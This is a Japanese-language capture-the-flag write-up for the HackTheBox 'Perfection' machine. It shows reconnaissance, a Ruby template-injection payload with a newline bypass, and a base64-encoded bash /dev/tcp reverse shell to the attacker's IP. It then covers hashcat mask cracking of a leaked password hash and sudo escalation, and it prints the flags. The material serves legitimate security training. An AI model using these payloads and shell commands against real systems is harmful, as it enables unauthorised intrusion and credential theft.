概要

HackTheBox「Perfection」マシンのWriteupです。

User Flag

$ nmap -Pn -sV -T4 -A -sC 10.10.11.253                    
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-17 22:07 EDT
Warning: 10.10.11.253 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.11.253
Host is up (0.26s latency).
Not shown: 976 closed tcp ports (conn-refused)
PORT      STATE    SERVICE        VERSION
22/tcp    open     ssh            OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA)
|_  256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519)
80/tcp    open     http           nginx
|_http-title: Weighted Grade Calculator

ポートの稼働状況が分かりました。

ポート	サービス	バージョン
22	ssh	OpenSSH 8.9p1
80	http	nginx

ホームページにアクセスできました。

/weighted-gradeページには入力フォームがあります。

フッターからWEBrick 1.7.0を使用していると分かります。
GitHubのページが見つかり、言語はRubyだと分かりました。

ディレクトリの列挙を行いましたが、攻撃に使えそうなパスは見つかりませんでした。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.11.253/FUZZ
about                   [Status: 200, Size: 3827, Words: 484, Lines: 104, Duration: 283ms]
\                       [Status: 200, Size: 3842, Words: 473, Lines: 102, Duration: 290ms]

WEBrick 1.7.0での脆弱性情報は見つけられませんでした。

Webサイトのフォームの挙動を確認します。
正常にリクエストが処理されるとCategoryパラメータの値などが表示されると分かりました。

なのでXSSやSSTIの攻撃が出来そうです。
しかし、レスポンスヘッダを見るとX-Xss-Protection: 1; mode=blockがあるのでXSSは難しそうです。

SSTIの攻撃を試みます。
HackTricksなどでRubyのSSTIペイロードを見つけました。

パラメータの値に改行コードを付け加えることでSSTIを成功させることが出来ました。

category1=a%0A<%25%3D7*7;%25>

下記のようなペイロードにすることで/home/susan/user.txtファイルからフラグを入手できました。

a%0A<%25%3D`cat+/home/susan/user.txt`%25>

Root Flag

Rubyではsystem()関数を利用してOSコマンドを実行できます。
リバースシェルを実行します。
Netcatでリッスンします。

$ nc -lnvp 1234

Bash TCPのペイロードを使用します。

bash -i >& /dev/tcp/<ip>/<port> 0>&1

ペイロードをbase64でエンコードします。

$ echo -n "bash -i >& /dev/tcp/10.10.14.11/1234 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMS8xMjM0IDA+JjE=

エンコードされた文字列をURLエンコードします。

$ hURL -U "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMS8xMjM0IDA+JjE="

Original    :: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMS8xMjM0IDA+JjE=
URL ENcoded :: YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4xMS8xMjM0IDA%2BJjE%3D

最終的なペイロードは下記のようになりました。

a%0A<%25%3Dsystem("echo+YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4xMS8xMjM0IDA%2BJjE%3D|base64+-d|bash");%25>

これでリクエストを送信するとsusanのシェルを獲得できました。

$ nc -lnvp 1234   
listening on [any] 1234 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.253] 55502
bash: cannot set terminal process group (1010): Inappropriate ioctl for device
bash: no job control in this shell
susan@perfection:~/ruby_app$ whoami
whoami
susan

sudo -lは実行できませんでした。

$ sudo -l
sudo -l
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
sudo: a password is required

/home/susan/MigrationにDBデータを発見しました。

$ ls -l Migration/
ls -l Migration/
total 8
-rw-r--r-- 1 root root 8192 May 14  2023 pupilpath_credentials.db

ローカルにダウンロードして見ると、ユーザーのクレデンシャル情報を確認できましたが、パスワードはハッシュ化されているようです。

Webサイトを見るとsusanがシステム管理者であるという文言を発見しました。

なので、DBデータのSusan Millerのハッシュ値を解読していきます。
linpeasを実行すると/var/mail/susanという興味深いファイルを見つけました。

╔══════════╣ Mails (limit 50)
    39937      4 -rw-r-----   1 root     susan         625 May 14  2023 /var/mail/susan                              
    39937      4 -rw-r-----   1 root     susan         625 May 14  2023 /var/spool/mail/susan

テキストの内容は「パスワードの形式を{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}に変更した」ということが書かれています。

つまり元のパスワードの文字列はsusan_nasus_<1~1,000,000,000>まで分かりました。

Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students

in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:

{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}

Note that all letters of the first name should be convered into lowercase.

Please hit me with updates on the migration when you can. I am currently registering our university with the platform.

- Tina, your delightful student

Hash Analyzerで調べるとハッシュアルゴリズムはSHA2-256だと予測できました。

これまでの情報を基にハッシュ値をHashcatで解析します。
パスワードのランダムな数字は1~1~1,000,000,000だと分かっているのでHashcatのマスク攻撃として-a 3 susan_nasus_?d?d?d?d?d?d?d?d?dと指定できます。

$ hashcat -m 1400 hash.txt -a 3 susan_nasus_?d?d?d?d?d?d?d?d?d

パスワードを特定できました。

abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210

このパスワードを使用してSSH接続を行います。

$ ssh susan@10.10.11.253
susan@perfection:~$

sudo -lで確認すると全てのコマンドをパスワードなしの管理者権限で実行できると分かりました。

$ sudo -l
[sudo] password for susan: 
Matching Defaults entries for susan on perfection:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User susan may run the following commands on perfection:
    (ALL : ALL) ALL

最後に/root/root.txtからフラグを入手します。

$ sudo cat /root/root.txt
7bb006019d51b6480b4fa5fa1534ae38